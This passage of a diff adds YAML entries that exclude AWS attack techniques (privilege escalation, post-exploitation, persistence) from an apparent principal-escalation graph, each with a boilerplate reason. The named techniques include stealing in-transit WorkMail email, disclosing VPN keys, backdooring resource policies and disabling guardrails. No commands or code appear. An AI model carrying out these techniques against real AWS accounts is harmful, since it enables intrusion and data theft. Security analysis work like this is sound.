exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + technique: aws-s05-28-studio-presigned-url-to-zeppelin-execution + reason: 'Implemented by the active aws-flink-studio-presigned-url route. The evaluator + joins a collected RUNNING INTERACTIVE application ARN to its exact ServiceExecutionRole + and requires effective CreateApplicationPresignedUrl on that same ARN. The short-lived + bearer URL must still be used and the notebook must permit code or query execution, so + the outcome remains conditional. Keep this retired generated duplicate excluded to avoid + a second unsupported edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#abusing-workmail-to-bypass-ses-sandbox + technique: aws-s05-abusing-workmail-to-bypass-ses-sandbox + reason: 'Abusing WorkMail to bypass SES sandbox: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#disable-inline-redaction + technique: aws-s05-disable-inline-redaction + reason: 'Disable inline redaction: no source IAM action or resource is declared in requires. The conditional aws_role + target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor + the exact source action, resource, credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2getvpnconnectiondevicesampleconfiguration--disclose-site-to-site-vpn-pre-shared-keys + technique: aws-s05-ec2getvpnconnectiondevicesampleconfiguration-disclose-site-to-site-vpn + reason: '`ec2:GetVpnConnectionDeviceSampleConfiguration` — disclose Site-to-Site VPN pre-shared keys: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyclientvpnendpoint--hijack-client-dnsrouting-and-suppress-connection-logs + technique: aws-s05-ec2modifyclientvpnendpoint-hijack-client-dnsrouting-and-suppress-conne + reason: '`ec2:ModifyClientVpnEndpoint` — hijack client DNS/routing and suppress connection logs: no source IAM + action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the + YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyvpnconnection--ec2modifyvpntunneloptions--take-over-an-existing-site-to-site-vpn-peer + technique: aws-s05-ec2modifyvpnconnection-ec2modifyvpntunneloptions-take-over-an-existing + reason: '`ec2:ModifyVpnConnection` + `ec2:ModifyVpnTunnelOptions` — take over an existing Site-to-Site VPN peer: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-export-query-results-to-s3-with-timestreamunload + technique: aws-s05-liveanalytics-export-query-results-to-s3-with-timestreamunload + reason: 'LiveAnalytics: export query results to S3 with `timestream:Unload`: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-query-a-table-with-timestreamselect + technique: aws-s05-liveanalytics-query-a-table-with-timestreamselect + reason: 'LiveAnalytics: query a table with `timestream:Select`: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs + technique: aws-s05-logsfilterlogevents-logsgetlogevents-recover-custom-idp-passwords-from + reason: 'A custom Transfer Family identity provider may log the plaintext SFTP, FTP or + FTPS password it receives; FilterLogEvents or GetLogEvents could disclose that password + when the exact log group contains it. That password authenticates a Transfer user, not + an IAM or STS principal. A later file-transfer session may use a configured storage role + only for bounded S3/EFS operations and does not hand that role to the log reader. Keep + password leakage and file access as separate risks outside this principal graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-for-sap-post-exploitation/README.md#recover-configured-sap-hana-administrator-credentials + technique: aws-s05-recover-configured-sap-hana-administrator-credentials + reason: 'GetDatabase returns the SecretId of a registered SAP HANA administrative + credential; a separate GetSecretValue grant may disclose its database username and + password. Those values authenticate a HANA database user, not another AWS IAM principal. + The retired role target therefore overclaimed a principal transition. Retain the HANA + credential exposure as a database issue outside this graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint + technique: aws-s05-thinclientupdateenvironment-redirect-devices-to-another-desktop-provid + reason: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetoidcinfo--disclose-the-sso-client-secret + technique: aws-s05-wickrgetoidcinfo-disclose-the-sso-client-secret + reason: '`wickr:GetOidcInfo` — disclose the SSO client secret: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetopentdfconfig--disclose-the-opentdf-client-secret + technique: aws-s05-wickrgetopentdfconfig-disclose-the-opentdf-client-secret + reason: '`wickr:GetOpentdfConfig` — disclose the OpenTDF client secret: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrlistusers--recover-an-invited-users-enrollment-code + technique: aws-s05-wickrlistusers-recover-an-invited-users-enrollment-code + reason: '`wickr:ListUsers` — recover an invited user''s enrollment code: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#workmailmessageflowgetrawmessagecontent--putrawmessagecontent--steal-or-rewrite-in-transit-email + technique: aws-s05-workmailmessageflowgetrawmessagecontent-putrawmessagecontent-steal-or + reason: '`workmailmessageflow:GetRawMessageContent` / `PutRawMessageContent` — steal or rewrite in-transit email: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesmodifysamlproperties--modifycertificatebasedauthproperties--weaken-desktop-authentication + technique: aws-s05-workspacesmodifysamlproperties-modifycertificatebasedauthproperties-we + reason: '`workspaces:ModifySamlProperties` / `ModifyCertificateBasedAuthProperties` — weaken desktop authentication: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesupdateworkspaceimagepermission--share-a-custom-image-with-an-attacker-account + technique: aws-s05-workspacesupdateworkspaceimagepermission-share-a-custom-image-with-an + reason: '`workspaces:UpdateWorkspaceImagePermission` — share a custom image with an attacker account: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#schedulergetschedule--target-input-disclosure + technique: aws-scheduler-getschedule-static-credential + reason: 'Recover a distinct identity credential from Scheduler Target.Input: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-systems-manager-for-sap-enum.md#applications-components-and-databases + technique: aws-ssm-sap-hana-admin-secret + reason: 'Read a registered SAP HANA ADMIN secret: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-transfer-family-enum.md#main-resource-relationships + technique: aws-transfer-connector-remote-credential + reason: 'Read a Transfer connector remote SFTP credential: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#identity-source-and-cross-account-boundaries + technique: aws-verifiedpermissions-identity-source-impersonation + reason: 'Changing a Verified Permissions identity source may let attacker-issued tokens map to + application Cedar identities. The token still cannot call AWS APIs without a separately + authorized SigV4 caller, and the policy store does not grant IAM role permissions.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay + technique: aws-waf-sampled-request-session-replay + reason: 'Candidate only if a readable WAF sample contains a complete usable AWS credential + for an identified other IAM principal. A cookie, bearer token or X-Amz-Security-Token + alone proves only an application session or incomplete AWS credential. Require actual + unredacted secret material, validity and principal attribution before an IAM edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role + source_revision: 0d0ea06005 + technique: aws-audit-create-scheduled-query-to-exfiltrate-role-readable-secrets + reason: 'Create scheduled query to exfiltrate role-readable secrets: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#enabling-the-feature-yourself-management-account + technique: aws-audit-enable-centralized-root-sessions-then-call-assumeroot + reason: 'Enable centralized root sessions then call AssumeRoot: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#aws-identity-center--aws-sso + technique: aws-audit-enable-permission-sets-then-create-admin-assignment + reason: 'Enable permission sets then create admin assignment: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#register-an-s3-location-under-a-privileged-role + technique: aws-audit-lf-register-an-s3-location-under-a-privileged-384933ea + reason: 'Register S3 location under passed privileged role: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + technique: aws-audit-site-grant-yourself-access-to-a-legacy-sitewi-ec31fb70 + reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. Grants to a different controlled identity and broader Monitor variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + source_revision: 3ad99dc7ac + technique: aws-audit-start-stored-state-manager-association + reason: 'Start stored State Manager association: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#syntheticsstartcanary--run-unchanged-canary-code-under-its-stored-role + technique: aws-audit-trigger-privileged-existing-canary + reason: 'Trigger privileged existing canary: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfig-data--read-the-deployed-configuration + technique: aws-audit2-appconfig-2 + reason: 'AppConfig Data — read the deployed configuration: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#enable-previously-granted-legacy-billing-permissions + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#enable-previously-granted-legacy-billing-permissions + technique: aws-billing-enable-dormant-iam-console-access + reason: 'Enable dormant Billing console grants: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-chime-sdk-enum.md#media-pipelines + technique: aws-chime-rtmp-publisher-key-read + reason: 'Read live connector RTMP publishing key: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeconnections-post-exploitation/README.md#complete-or-replace-a-connection-installation + technique: aws-codeconnections-installation-consumer + reason: 'Replace connection installation feeding a privileged deployment: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md#enable--disable-controls + technique: aws-controltower-preventive-scp-disable + reason: 'Disable a preventive Control Tower control that enforces an SCP deny: the modeled target is terminal + aws_verified_authority/bounded_authority, and its notes deny new principal permissions. This is not a path to + an exact principal or an explicit new effective permission of Alice. If the operation truly grants an identity + a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + technique: aws-dynamodb-deleteresourcepolicy-guardrail + reason: 'Delete DynamoDB resource policy to lift a Deny: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-payment-cryptography-enum.md#resource-and-authorization-model + technique: aws-payment-cryptography-crossaccount-key-policy + reason: 'PutResourcePolicy on an owner-account primary key can grant selected payment-key + operations to a named principal. An external principal also needs its own identity-policy + Allow, and the source caller in the key-owning account is not thereby given that external + principal''s credentials or authority. A self-grant on the same IAM principal changes its + own key access, not a path to another principal. The retired entry identifies no second + principal controlled by the source; keep cross-account key sharing outside this graph.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy + technique: aws-payment-cryptography-sameaccount-key-policy + reason: 'Grant the source new operations on a primary payment key: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-partner-central-selling-persistence/README.md#add-an-external-engagement-member-for-permanent-snapshot-access + technique: aws-peaso-add-an-external-engagement-member-for-permanent-snapshot-access + reason: 'Invite controlled Partner into Engagement: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-prometheus-persistence/README.md#backdoor-a-workspace-with-its-resource-policy + technique: aws-peaso-backdoor-a-workspace-with-its-resource-policy + reason: 'Grant controlled principal AMP workspace data access: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-msk-policy-persistence/README.md#cross-account-cluster-access-with-kafkaputclusterpolicy + technique: aws-peaso-cross-account-cluster-access-with-kafkaputclusterpolicy + reason: 'Grant controlled account MSK data access: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-q-business-persistence/README.md#cross-account-data-accessor-persistence + technique: aws-peaso-cross-account-data-accessor-persistence + reason: 'Create Q Business cross-account data accessor: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediaconnect-persistence/README.md#grant-a-cross-account-flow-entitlement + technique: aws-peaso-grant-a-cross-account-flow-entitlement + reason: 'Grant controlled account MediaConnect flow entitlement: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#grant-external-ingest--mediapackagev2putchannelpolicy + technique: aws-peaso-grant-external-ingest-mediapackagev2putchannelpolicy + reason: 'Grant anonymous MediaPackage channel ingest: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-payment-cryptography-persistence/README.md#persist-cross-account-key-access-with-a-resource-policy + technique: aws-peaso-persist-cross-account-key-access-with-a-resource-policy + reason: 'Grant controlled role Payment Cryptography key use: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#publish-a-private-origin-endpoint--mediapackagev2putoriginendpointpolicy + technique: aws-peaso-publish-a-private-origin-endpoint-mediapackagev2putoriginendpointpolicy + reason: 'Grant anonymous MediaPackage origin read: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-manager-persistence/README.md#share-a-core-network-with-an-external-account-through-aws-ram + technique: aws-peaso-share-a-core-network-with-an-external-account-through-aws-ram + reason: 'Share Cloud WAN core network with controlled account: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-q-business-enum.md#data-accessors-and-resource-policies + technique: aws-qbusiness-crossaccount-data-accessor + reason: 'A Q Business data accessor grants a registered ISV IAM role bounded + SearchRelevantContent access to one customer application and its permitted index data. + AWS requires an accessor, application policy/assignment and identity or tenant context; + the customer-side caller does not receive or control the ISV role by creating the accessor. + The registered role is another principal, but no source-to-role control or credential + transfer exists in this technique. Keep the cross-account data-sharing risk outside the + principal escalation graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission + source_revision: 3ad99dc7ac + technique: aws-s05-06-lambda-addpermission + reason: '`lambda:AddPermission`: the modeled target is terminal aws_verified_authority/bounded_authority, and + its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#expose-a-pre-existing-authtypenone-function-url + source_revision: 3ad99dc7ac + technique: aws-s05-07-expose-a-pre-existing-authtype-none-function-url + reason: 'Expose a pre-existing `AuthType=NONE` Function URL: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddlayerversionpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddlayerversionpermission + source_revision: 3ad99dc7ac + technique: aws-s05-08-lambda-addlayerversionpermission + reason: '`lambda:AddLayerVersionPermission`: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplategroupaccesscontrolentry--grant-enrollment-to-an-attacker-chosen-ad-group + technique: aws-s05-83-pca-connector-ad-createtemplategroupaccesscontrolentry + reason: '`pca-connector-ad:CreateTemplateGroupAccessControlEntry` — grant enrollment to an attacker-chosen AD + group: the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal + permissions. This is not a path to an exact principal or an explicit new effective permission of Alice. If the + operation truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#connector-remote-directory-move-and-delete-capability-pivot + technique: aws-s05-connector-remote-directory-move-and-delete-capability-pivot + reason: 'Connector remote-directory, move, and delete capability pivot: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#delete-or-corrupt-the-authorization-store + technique: aws-s05-delete-or-corrupt-the-authorization-store + reason: 'Delete or corrupt the authorization store: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2applysecuritygroupstoclientvpntargetnetwork--rebind-client-vpn-to-a-trusted-security-group + technique: aws-s05-ec2applysecuritygroupstoclientvpntargetnetwork-rebind-client-vpn-to-a + reason: '`ec2:ApplySecurityGroupsToClientVpnTargetNetwork` — rebind Client VPN to a trusted security group: the + modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. + This is not a path to an exact principal or an explicit new effective permission of Alice. If the operation + truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2associateclientvpntargetnetwork--ec2createclientvpnroute--attach-client-vpn-to-a-vpc-and-extend-reachable-networks + technique: aws-s05-ec2associateclientvpntargetnetwork-ec2createclientvpnroute-attach-clie + reason: '`ec2:AssociateClientVpnTargetNetwork` + `ec2:CreateClientVpnRoute` — attach Client VPN to a VPC and extend + reachable networks: the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny + new principal permissions. This is not a path to an exact principal or an explicit new effective permission + of Alice. If the operation truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2authorizeclientvpningress--broaden-an-authenticated-vpn-clients-network-access + technique: aws-s05-ec2authorizeclientvpningress-broaden-an-authenticated-vpn-clients-netw + reason: '`ec2:AuthorizeClientVpnIngress` — broaden an authenticated VPN client''s network access: the modeled + target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. This + is not a path to an exact principal or an explicit new effective permission of Alice. If the operation truly + grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateservicenetworkvpcassociation--obtain-network-reachability-into-a-service-network + technique: aws-s05-vpc-latticecreateservicenetworkvpcassociation-obtain-network-reachabil + reason: '`vpc-lattice:CreateServiceNetworkVpcAssociation` — obtain network reachability into a service network: + the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. + This is not a path to an exact principal or an explicit new effective permission of Alice. If the operation + truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2tagresource-wafv2untagresource + technique: aws-s05-wafv2tagresource-wafv2untagresource + reason: '**`wafv2:TagResource`, `wafv2:UntagResource`**: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#enumerate-stores-and-aliases + technique: aws-verifiedpermissions-alias-rebind + reason: 'Rebinding a policy-store alias may change decisions consumed by an application. + The alias is a Verified Permissions resource, not an IAM role, and the changed Cedar + decision does not give the source AWS principal another principal''s AWS permissions.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#exact-iam-boundaries + technique: aws-verifiedpermissions-policy-app-admin + reason: 'A Cedar policy can grant an application identity admin actions inside that + application. The policy store does not alter IAM identity policies or create AWS + credentials, and its decision API does not execute the application action.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#as2-partner-certificate-substitution--impersonate-a-trading-partner + technique: aws-v3-01-substitute-an-as2-partner-signing-certificate + reason: 'Substitute an AS2 partner signing certificate: actions transfer:ImportCertificate, transfer:UpdateProfile + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account + technique: aws-v3-02-register-an-acme-account-with-a-binding-to-issue-certif + reason: 'Candidate bounded role-backed certificate issuance, also tracked as aws-pa-persist-s01-01. + EAB credentials can register an ACME account, after which ACM authorizes issuance through the EAB role. + An exact route needs the active endpoint, accepted EAB, associated role, domain validation, and effective + acm:RequestCertificate permission. It does not grant the caller general AWS role credentials.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appintegrations-persistence/README.md#appintegrations + technique: aws-v3-03-replace-a-trusted-connect-workspace-application-with-at + reason: 'UpdateApplication can replace the origin and permissions of a Connect agent workspace application. + This gives a browser and contact-data foothold for eligible agents, but the page identifies no AWS IAM + principal or credential handed to the source. An agent browsing the application does not itself form an + exact AWS principal-to-principal route.' +- source: 